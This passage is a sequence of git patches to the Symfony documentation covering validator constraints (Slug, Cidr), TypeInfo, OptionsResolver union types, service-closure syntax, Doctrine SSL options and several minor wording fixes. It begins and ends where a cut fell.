@@ -141,6 +141,23 @@ Checking a **simple type**::
     $type->isIdentifiedBy(DummyParent::class);     // true
     $type->isIdentifiedBy(DummyInterface::class);  // true
 
+Checking if a type **accepts a value**::
+
+    $type = Type::int();
+    // check if the type accepts a given value
+    $type->accepts(123); // true
+    $type->accepts('z'); // false
+
+    $type = Type::union(Type::string(), Type::int());
+    // now the second check is true because the union type accepts either a int and a string value
+    $type->accepts(123); // true
+    $type->accepts('z'); // true
+
+.. versionadded:: 7.3
+
+    The :method:`Symfony\\Component\\TypeInfo\\Type::accepts`
+    method was introduced in Symfony 7.3.
+
 Using callables for **complex checks**::
 
     class Foo

From b4f8f6bf5f596664eb36c6311107b0b0056fd166 Mon Sep 17 00:00:00 2001
From: tcoch <tcochard@outlook.com>
Date: Mon, 6 Jan 2025 17:22:10 +0100
Subject: [PATCH 5273/5766] [Validator] Add Slug constraint

---
 reference/constraints/Slug.rst    | 119 ++++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc |   1 +
 2 files changed, 120 insertions(+)
 create mode 100644 reference/constraints/Slug.rst

diff --git a/reference/constraints/Slug.rst b/reference/constraints/Slug.rst
new file mode 100644
index 00000000000..5b7661b4aba
--- /dev/null
+++ b/reference/constraints/Slug.rst
@@ -0,0 +1,119 @@
+Slug
+====
+
+.. versionadded:: 7.3
+
+    The ``Slug`` constraint was introduced in Symfony 7.3.
+
+Validates that a value is a slug.
+A slug is a string that, by default, matches the regex ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``.
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Slug`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\SlugValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+The ``Slug`` constraint can be applied to a property or a "getter" method:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Slug]
+            protected string $slug;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Author:
+            properties:
+                slug:
+                    - Slug: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Author">
+                <property name="slug">
+                    <constraint name="Slug"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Author
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('slug', new Assert\Slug());
+            }
+        }
+
+Examples of valid values :
+
+* foobar
+* foo-bar
+* foo123
+* foo-123bar
+
+Upper case characters would result in an violation of this constraint.
+
+Options
+-------
+
+``regex``
+~~~~~~~~~
+
+**type**: ``string`` default: ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``
+
+This option allows you to modify the regular expression pattern that the input will be matched against
+via the :phpfunction:`preg_match` PHP function.
+
+If you need to use it, you might also want to take a look at the :doc:`Regex constraint <Regex>`.
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not a valid slug``
+
+This is the message that will be shown if this validator fails.
+
+You can use the following parameters in this message:
+
+=================  ==============================================================
+Parameter          Description
+=================  ==============================================================
+``{{ value }}``    The current (invalid) value
+=================  ==============================================================
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index f23f5b71aa3..58801a8c653 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -33,6 +33,7 @@ String Constraints
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
 * :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
 * :doc:`Regex </reference/constraints/Regex>`
+* :doc:`Slug </reference/constraints/Slug>`
 * :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`Url </reference/constraints/Url>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`

From d688f6312c64050123f0c27b0871f80ab63b677c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Jan 2025 17:56:09 +0100
Subject: [PATCH 5274/5766] Minor tweaks

---
 reference/constraints/Slug.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/reference/constraints/Slug.rst b/reference/constraints/Slug.rst
index 5b7661b4aba..2eb82cd9c10 100644
--- a/reference/constraints/Slug.rst
+++ b/reference/constraints/Slug.rst
@@ -5,8 +5,8 @@ Slug
 
     The ``Slug`` constraint was introduced in Symfony 7.3.
 
-Validates that a value is a slug.
-A slug is a string that, by default, matches the regex ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``.
+Validates that a value is a slug. By default, a slug is a string that matches
+the following regular expression: ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``.
 
 .. include:: /reference/constraints/_empty-values-are-valid.rst.inc
 
@@ -19,7 +19,7 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\SlugValidator`
 Basic Usage
 -----------
 
-The ``Slug`` constraint can be applied to a property or a "getter" method:
+The ``Slug`` constraint can be applied to a property or a getter method:
 
 .. configuration-block::
 
@@ -77,14 +77,14 @@ The ``Slug`` constraint can be applied to a property or a "getter" method:
             }
         }
 
-Examples of valid values :
+Examples of valid values:
 
 * foobar
 * foo-bar
 * foo123
 * foo-123bar
 
-Upper case characters would result in an violation of this constraint.
+Uppercase characters would result in an violation of this constraint.
 
 Options
 -------
@@ -94,8 +94,8 @@ Options
 
 **type**: ``string`` default: ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``
 
-This option allows you to modify the regular expression pattern that the input will be matched against
-via the :phpfunction:`preg_match` PHP function.
+This option allows you to modify the regular expression pattern that the input
+will be matched against via the :phpfunction:`preg_match` PHP function.
 
 If you need to use it, you might also want to take a look at the :doc:`Regex constraint <Regex>`.
 

From 693b758160d580d9e5bbdb6e0e8b4310baf2d5f9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Wed, 8 Jan 2025 06:29:55 +0100
Subject: [PATCH 5275/5766] [Security] Remove mention of is_granted_ `$field`
 argument

The third argument of is_granted / is_granted_for_user is undocumented (except on this page) (neither on Symfony docs, code, nor on... Symfony ACL Bundle docs).

It must be kept and maintained for BC reasons. But it can be missleading/frustrating to show this argument to users, when they cannot use it with a standard/recommended Symfony installation.

And if they just test it, the error could lead them to believe the AclBundle needs to be installed to use the `is_granted` function(s).

As suggested in https://github.com/symfony/symfony/pull/59282#issuecomment-2569716817 I believe "not showing it" is the "best" solution here.
---
 reference/twig_reference.rst | 8 ++------
 1 file changed, 2 insertions(+), 6 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index e01fa3f80e3..acbab2f3817 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -160,14 +160,12 @@ is_granted
 
 .. code-block:: twig
 
-    {{ is_granted(role, object = null, field = null) }}
+    {{ is_granted(role, object = null) }}
 
 ``role``
     **type**: ``string``
 ``object`` *(optional)*
     **type**: ``object``
-``field`` *(optional)*
-    **type**: ``string``
 
 Returns ``true`` if the current user has the given role.
 
@@ -183,7 +181,7 @@ is_granted_for_user
 
 .. code-block:: twig
 
-    {{ is_granted_for_user(user, attribute, subject = null, field = null) }}
+    {{ is_granted_for_user(user, attribute, subject = null) }}
 
 ``user``
     **type**: ``object``
@@ -191,8 +189,6 @@ is_granted_for_user
     **type**: ``string``
 ``subject`` *(optional)*
     **type**: ``object``
-``field`` *(optional)*
-    **type**: ``string``
 
 Returns ``true`` if the user is authorized for the specified attribute.
 

From 5e338ab13a5dc60f5256d904a38f959567716863 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 8 Jan 2025 08:35:59 +0100
Subject: [PATCH 5276/5766] remove outdated timezone warning

---
 messenger.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 9d5ab5d35c8..d1f215f16a3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1583,12 +1583,6 @@ DSN by using the ``table_name`` option:
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
-.. warning::
-
-    The datetime property of the messages stored in the database uses the
-    timezone of the current system. This may cause issues if multiple machines
-    with different timezone configuration use the same storage.
-
 The transport has a number of options:
 
 ``table_name`` (default: ``messenger_messages``)

From 23800a97fa5114849320dac166b80ff97b3d2d46 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Jan 2025 10:18:55 +0100
Subject: [PATCH 5277/5766] Minor tweak

---
 components/type_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 70280d9a348..47fe9dfd9ba 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -149,7 +149,7 @@ Checking if a type **accepts a value**::
     $type->accepts('z'); // false
 
     $type = Type::union(Type::string(), Type::int());
-    // now the second check is true because the union type accepts either a int and a string value
+    // now the second check is true because the union type accepts either an int or a string value
     $type->accepts(123); // true
     $type->accepts('z'); // true
 

From cf53d1914e874def9e39324e6c5ad32e0b441f23 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Joachim=20L=C3=B8vgaard?= <joachim@loevgaard.dk>
Date: Wed, 8 Jan 2025 12:06:09 +0100
Subject: [PATCH 5278/5766] Fix typo

---
 components/type_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index e7062c5f249..2a92a3db63e 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -106,7 +106,7 @@ PHP package required for string resolving. Then, follow these steps::
 
     $typeResolver = TypeResolver::create();
     $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns an "int" Type
-    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns a collection with "int" as key and "string" as values Type
+    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'tags')); // returns a collection with "int" as key and "string" as values Type
 
 Advanced Usages
 ~~~~~~~~~~~~~~~

From 6e71ed0d5ca3f3f48fbd750979be3b59e8194da9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 8 Jan 2025 14:50:30 +0100
Subject: [PATCH 5279/5766] wrap multiple constraints in a Collection
 constraint to validate array-like data

---
 form/without_class.rst | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/form/without_class.rst b/form/without_class.rst
index 436976bdfcc..8b0af7cf23f 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -137,6 +137,7 @@ This can be done by setting the ``constraints`` option in the
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\Form\FormBuilderInterface;
     use Symfony\Component\OptionsResolver\OptionsResolver;
+    use Symfony\Component\Validator\Constraints\Collection;
     use Symfony\Component\Validator\Constraints\Length;
     use Symfony\Component\Validator\Constraints\NotBlank;
 
@@ -149,17 +150,15 @@ This can be done by setting the ``constraints`` option in the
 
     public function configureOptions(OptionsResolver $resolver): void
     {
-        $constraints = [
-            'firstName' => new Length(['min' => 3]),
-            'lastName' => [
-                new NotBlank(),
-                new Length(['min' => 3]),
-            ],
-        ];
-
         $resolver->setDefaults([
             'data_class' => null,
-            'constraints' => $constraints,
+            'constraints' => new Collection([
+                'firstName' => new Length(['min' => 3]),
+                'lastName' => [
+                    new NotBlank(),
+                    new Length(['min' => 3]),
+                ],
+            ]),
         ]);
     }
 

From ed80f8b78a6714ed0c092e7cf90eb98afecf75be Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 8 Jan 2025 22:05:23 +0100
Subject: [PATCH 5280/5766] revert webhook support for the Brevo Notifier
 bridge

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 090f4db2007..f74ff92009e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -76,7 +76,7 @@ Service
                     **Webhook support**: No
 `Brevo`_            **Install**: ``composer require symfony/brevo-notifier`` \
                     **DSN**: ``brevo://API_KEY@default?sender=SENDER`` \
-                    **Webhook support**: Yes
+                    **Webhook support**: No
 `Clickatell`_       **Install**: ``composer require symfony/clickatell-notifier`` \
                     **DSN**: ``clickatell://ACCESS_TOKEN@default?from=FROM`` \
                     **Webhook support**: No

From fb028aa7e77e8a2324b3b65e4e9823045d26ef73 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jan 2025 12:24:39 +0100
Subject: [PATCH 5281/5766] Remove an uneeded versionadded directive

---
 notifier.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index f74ff92009e..36fbd5ada89 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -236,10 +236,6 @@ Service
 
     The ``Primotexto``, ``Sipgate`` and ``Sweego`` integrations were introduced in Symfony 7.2.
 
-.. versionadded:: 7.3
-
-    Webhook support for the ``Brevo`` integration was introduced in Symfony 7.3.
-
 .. deprecated:: 7.1
 
     The `Sms77`_ integration is deprecated since

From bb76fd9fee26080dfa8795528f472aed5d8fcf64 Mon Sep 17 00:00:00 2001
From: Ninos Ego <me@ninosego.de>
Date: Wed, 8 Jan 2025 23:52:31 +0100
Subject: [PATCH 5282/5766] [Validator] Add note to `version` option in `Cidr`
 constraint

---
 reference/constraints/Cidr.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 24abeb57338..00125c72b39 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -126,6 +126,12 @@ Parameter        Description
 This determines exactly *how* the CIDR notation is validated and can take one
 of :ref:`IP version ranges <reference-constraint-ip-version>`.
 
+.. note::
+
+    IP range (``*_private``, ``*_reserved``) is only validating against IP, but not the whole
+    netmask. You need to set the ``{{ min }}`` value for the netmask to harden the validation a bit.
+    For example, ``9.0.0.0/6`` results to be ``*_public``, but also uses ``10.0.0.0/8`` range (``*_private``).
+
 .. versionadded:: 7.1
 
     The support of all IP version ranges was introduced in Symfony 7.1.

From 57739755111fed2beca51857df73a7f59459fb81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jan 2025 13:02:08 +0100
Subject: [PATCH 5283/5766] Minor reword

---
 reference/constraints/Cidr.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 61233d875ce..78a5b6c7167 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -128,9 +128,11 @@ of :ref:`IP version ranges <reference-constraint-ip-version>`.
 
 .. note::
 
-    IP range (``*_private``, ``*_reserved``) is only validating against IP, but not the whole
-    netmask. You need to set the ``{{ min }}`` value for the netmask to harden the validation a bit.
-    For example, ``9.0.0.0/6`` results to be ``*_public``, but also uses ``10.0.0.0/8`` range (``*_private``).
+    The IP range checks (e.g., ``*_private``, ``*_reserved``) validate only the
+    IP address, not the entire netmask. To improve validation, you can set the
+    ``{{ min }}`` value for the netmask. For example, the range ``9.0.0.0/6`` is
+    considered ``*_public``, but it also includes the ``10.0.0.0/8`` range, which
+    is categorized as ``*_private``.
 
 .. versionadded:: 7.1
 

From f8667f57029ad20b615c6c7f42d13bc02df86fa5 Mon Sep 17 00:00:00 2001
From: Vincent Langlet <vincentlanglet@hotmail.fr>
Date: Mon, 6 Jan 2025 21:16:06 +0100
Subject: [PATCH 5284/5766] [OptionsResolver] Support union of types

---
 components/options_resolver.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index ff25f9e0fc4..266911bf13d 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -305,13 +305,20 @@ correctly. To validate the types of the options, call
 
             // specify multiple allowed types
             $resolver->setAllowedTypes('port', ['null', 'int']);
+            // which is similar to
+            $resolver->setAllowedTypes('port', 'int|null');
 
             // check all items in an array recursively for a type
             $resolver->setAllowedTypes('dates', 'DateTime[]');
             $resolver->setAllowedTypes('ports', 'int[]');
+            $resolver->setAllowedTypes('endpoints', '(int|string)[]');
         }
     }
 
+.. versionadded:: 7.3
+
+    Union of type, using the ``|`` syntax, was introduced in Symfony 7.3.
+
 You can pass any type for which an ``is_<type>()`` function is defined in PHP.
 You may also pass fully qualified class or interface names (which is checked
 using ``instanceof``). Additionally, you can validate all items in an array

From ca50eeb570eb13b2c35b7fa02f199bfc509755d8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jan 2025 15:29:40 +0100
Subject: [PATCH 5285/5766] Minor tweaks

---
 components/options_resolver.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 266911bf13d..95741a7e372 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -305,19 +305,20 @@ correctly. To validate the types of the options, call
 
             // specify multiple allowed types
             $resolver->setAllowedTypes('port', ['null', 'int']);
-            // which is similar to
+            // if you prefer, you can also use the following equivalent syntax
             $resolver->setAllowedTypes('port', 'int|null');
 
             // check all items in an array recursively for a type
             $resolver->setAllowedTypes('dates', 'DateTime[]');
             $resolver->setAllowedTypes('ports', 'int[]');
+            // the following syntax means "an array of integers or an array of strings"
             $resolver->setAllowedTypes('endpoints', '(int|string)[]');
         }
     }
 
 .. versionadded:: 7.3
 
-    Union of type, using the ``|`` syntax, was introduced in Symfony 7.3.
+    Defining type unions with the ``|`` syntax was introduced in Symfony 7.3.
 
 You can pass any type for which an ``is_<type>()`` function is defined in PHP.
 You may also pass fully qualified class or interface names (which is checked

From cf778c0d7991170dc4dec1392c3ad290de7e3cf7 Mon Sep 17 00:00:00 2001
From: Florian CAVASIN <cavasinf.info@gmail.com>
Date: Thu, 9 Jan 2025 15:54:44 +0100
Subject: [PATCH 5286/5766] Update custom_constraint.rst

---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index c2b4eff130a..8fcb0c5c10e 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -499,7 +499,7 @@ A class constraint validator must be applied to the class itself:
 
         use App\Validator as AcmeAssert;
 
-        #[AcmeAssert\ProtocolClass]
+        #[AcmeAssert\ConfirmedPaymentReceipt]
         class AcmeEntity
         {
             // ...

From 56c035a3c3f85299d29b56a96a52d502c2268187 Mon Sep 17 00:00:00 2001
From: Marko Kaznovac <kaznovac@users.noreply.github.com>
Date: Thu, 9 Jan 2025 22:04:34 +0100
Subject: [PATCH 5287/5766] serializer[custom_normalizer]: fix reference to
 built-in normalizers

---
 serializer/custom_normalizer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 276c618b8ac..d6ba66f89b6 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -3,7 +3,7 @@ How to Create your Custom Normalizer
 
 The :doc:`Serializer component </serializer>` uses normalizers to transform
 any data into an array. The component provides several
-ref:`built-in normalizers <serializer-built-in-normalizers>` but you may
+:ref:`built-in normalizers <serializer-built-in-normalizers>` but you may
 need to create your own normalizer to transform an unsupported data
 structure.
 

From c532aed720a486a85ba26209cf7ad4185db5c0ec Mon Sep 17 00:00:00 2001
From: chx <chx1975@gmail.com>
Date: Mon, 6 Jan 2025 14:36:23 +0100
Subject: [PATCH 5288/5766] [DependencyInjection] Documented the new @>
 shorthand

---
 service_container/service_closures.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index cedbaaa2bf9..73dc17961fd 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -52,6 +52,14 @@ argument of type ``service_closure``:
                 # In case the dependency is optional
                 # arguments: [!service_closure '@?mailer']
 
+.. versionadded:: 7.3
+
+                # A shorthand is available
+                # arguments: ['@>mailer']
+
+                # It also works when the dependency is optional
+                # arguments: ['@>?mailer']
+
     .. code-block:: xml
 
         <!-- config/services.xml -->

From 250c35b812814ed105d1790213b9938a2e244666 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Jan 2025 16:08:17 +0100
Subject: [PATCH 5289/5766] Reword

---
 service_container/service_closures.rst | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index 73dc17961fd..88b0ab64002 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -52,12 +52,11 @@ argument of type ``service_closure``:
                 # In case the dependency is optional
                 # arguments: [!service_closure '@?mailer']
 
-.. versionadded:: 7.3
-
-                # A shorthand is available
-                # arguments: ['@>mailer']
+            # you can also use the special '@>' syntax as a shortcut of '!service_closure'
+            App\Service\AnotherService:
+                arguments: ['@>mailer']
 
-                # It also works when the dependency is optional
+                # the shortcut also works for optional dependencies
                 # arguments: ['@>?mailer']
 
     .. code-block:: xml
@@ -98,6 +97,10 @@ argument of type ``service_closure``:
             //     ->args([service_closure('mailer')->ignoreOnInvalid()]);
         };
 
+.. versionadded:: 7.3
+
+    The ``@>`` shortcut syntax for YAML was introduced in Symfony 7.3.
+
 .. seealso::
 
     Service closures can be injected :ref:`by using autowiring <autowiring_closures>`

From 1960c77521d526199cc28a07d189d8e4ac2353a0 Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Sat, 11 Jan 2025 03:10:57 -0300
Subject: [PATCH 5290/5766] [Doctrine] Use PDO constants in YAML configuration
 example

---
 reference/configuration/doctrine.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index cd1852710e7..272ad6b6804 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -483,12 +483,12 @@ set up the connection using environment variables for the certificate paths:
                 server_version: '8.0.31'
                 driver: 'pdo_mysql'
                 options:
-                    # SSL private key (PDO::MYSQL_ATTR_SSL_KEY)
-                    1007: '%env(MYSQL_SSL_KEY)%'
-                    # SSL certificate (PDO::MYSQL_ATTR_SSL_CERT)
-                    1008: '%env(MYSQL_SSL_CERT)%'
-                    # SSL CA authority (PDO::MYSQL_ATTR_SSL_CA)
-                    1009: '%env(MYSQL_SSL_CA)%'
+                    # SSL private key
+                    !php/const 'PDO::MYSQL_ATTR_SSL_KEY': '%env(MYSQL_SSL_KEY)%'
+                    # SSL certificate
+                    !php/const 'PDO::MYSQL_ATTR_SSL_CERT': '%env(MYSQL_SSL_CERT)%'
+                    # SSL CA authority
+                    !php/const 'PDO::MYSQL_ATTR_SSL_CA': '%env(MYSQL_SSL_CA)%'
 
     .. code-block:: xml
 

From c880a8818fa495a6b34188bddd76b946e54e6d3a Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Sat, 11 Jan 2025 03:14:50 -0300
Subject: [PATCH 5291/5766] [Doctrine] Use PDO constants in XML configuration
 example

---
 reference/configuration/doctrine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index cd1852710e7..25621f60493 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -507,9 +507,9 @@ set up the connection using environment variables for the certificate paths:
                     server-version="8.0.31"
                     driver="pdo_mysql">
 
-                    <doctrine:option key="1007">%env(MYSQL_SSL_KEY)%</doctrine:option>
-                    <doctrine:option key="1008">%env(MYSQL_SSL_CERT)%</doctrine:option>
-                    <doctrine:option key="1009">%env(MYSQL_SSL_CA)%</doctrine:option>
+                    <doctrine:option key-type="constant" key="PDO::MYSQL_ATTR_SSL_KEY">%env(MYSQL_SSL_KEY)%</doctrine:option>
+                    <doctrine:option key-type="constant" key="PDO::MYSQL_ATTR_SSL_CERT">%env(MYSQL_SSL_CERT)%</doctrine:option>
+                    <doctrine:option key-type="constant" key="PDO::MYSQL_ATTR_SSL_CA">%env(MYSQL_SSL_CA)%</doctrine:option>
                 </doctrine:dbal>
             </doctrine:config>
         </container>

From 207933321946e82e537eece0022f2045e22c0ff8 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 12 Jan 2025 11:09:02 +0100
Subject: [PATCH 5292/5766] [FrameworkBundle] Remove ``--show-arguments``
 option for ``debug:container``

---
 controller/value_resolver.rst | 2 +-
 service_container/debug.rst   | 3 ---
 2 files changed, 1 insertion(+), 4 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index dbbea7bcc87..1844ff0c9be 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -396,7 +396,7 @@ command to see which argument resolvers are present and in which order they run:
 
 .. code-block:: terminal
 
-    $ php bin/console debug:container debug.argument_resolver.inner --show-arguments
+    $ php bin/console debug:container debug.argument_resolver.inner
 
 You can also configure the name passed to the ``ValueResolver`` attribute to target
 your resolver. Otherwise it will default to the service's id.
diff --git a/service_container/debug.rst b/service_container/debug.rst
index c09413e7213..0a7898108fb 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -51,6 +51,3 @@ its id:
 .. code-block:: terminal
 
     $ php bin/console debug:container App\Service\Mailer
-
-    # to show the service arguments:
-    $ php bin/console debug:container App\Service\Mailer --show-arguments

From d32dd55878be38c1afc2a47704fe219e22b1a734 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 12 Jan 2025 21:17:27 +0100
Subject: [PATCH 5293/5766] Remove build spelling world list

---
 _build/spelling_word_list.txt | 344 ----------------------------------
 1 file changed, 344 deletions(-)
 delete mode 100644 _build/spelling_word_list.txt

diff --git a/_build/spelling_word_list.txt b/_build/spelling_word_list.txt
deleted file mode 100644
index fa05ce9430e..00000000000
--- a/_build/spelling_word_list.txt
+++ /dev/null
@@ -1,344 +0,0 @@
-accessor
-Akamai
-analytics
-Ansi
-Ansible
-async
-authenticator
-authenticators
-autocompleted
-autocompletion
-autoconfiguration
-autoconfigure
-autoconfigured
-autoconfigures
-autoconfiguring
-autoload
-autoloaded
-autoloader
-autoloaders
-autoloading
-autoprefixing
-autowire
-autowireable
-autowired
-autowiring
-backend
-backends
-balancer
-balancers
-bcrypt
-benchmarking
-Bitbucket
-bitmask
-bitmasks
-bitwise
-Blackfire
-boolean
-booleans
-Brasseur
-browserslist
-buildpack
-buildpacks
-bundler
-cacheable
-Caddy
-callables
-camelCase
-casted
-changelog
-changeset
-charset
-charsets
-checkboxes
-classmap
-classname
-clearers
-cloner
-cloners
-codebase
-config
-configs
-configurator
-configurators
-contrib
-cron
-cronjobs
-cryptographic
-cryptographically
-Ctrl
-ctype
-cURL
-customizable
-customizations
-Cygwin
-dataset
-datepicker
-decrypt
-denormalization
-denormalize
-denormalized
-denormalizing
-deprecations
-deserialization
-deserialize
-deserialized
-deserializing
-destructor
-dev
-dn
-DNS
-docblock
-Dotenv
-downloader
-Doxygen
-DSN
-Dunglas
-easter
-Eberlei
-emilie
-enctype
-entrypoints
-enum
-env
-escaper
-escpaer
-extensibility
-extractable
-eZPublish
-Fabien
-failover
-filesystem
-filesystems
-formatter
-formatters
-frontend
-getter
-getters
-GitHub
-gmail
-Gmail
-Goutte
-grapheme
-hardcode
-hardcoded
-hardcodes
-hardcoding
-hasser
-hassers
-headshot
-HInclude
-hostname
-https
-iconv
-igbinary
-incrementing
-ini
-inlined
-inlining
-installable
-instantiation
-interoperable
-intl
-Intl
-invokable
-IPv
-isser
-issers
-Jpegoptim
-jQuery
-js
-Karlton
-kb
-kB
-Kévin
-Ki
-KiB
-kibibyte
-Kubernetes
-Kudu
-labelled
-latin
-Ldap
-libketama
-licensor
-lifecycle
-liip
-linter
-localhost
-Loggly
-Logplex
-lookups
-loopback
-lorenzo
-Luhn
-macOS
-matcher
-matchers
-mbstring
-mebibyte
-memcache
-memcached
-MiB
-michelle
-minification
-minified
-minifier
-minifies
-minify
-minifying
-misconfiguration
-misconfigured
-misgendering
-Monolog
-mutator
-nagle
-namespace
-namespaced
-namespaces
-namespacing
-natively
-nd
-netmasks
-nginx
-normalizer
-normalizers
-npm
-nyholm
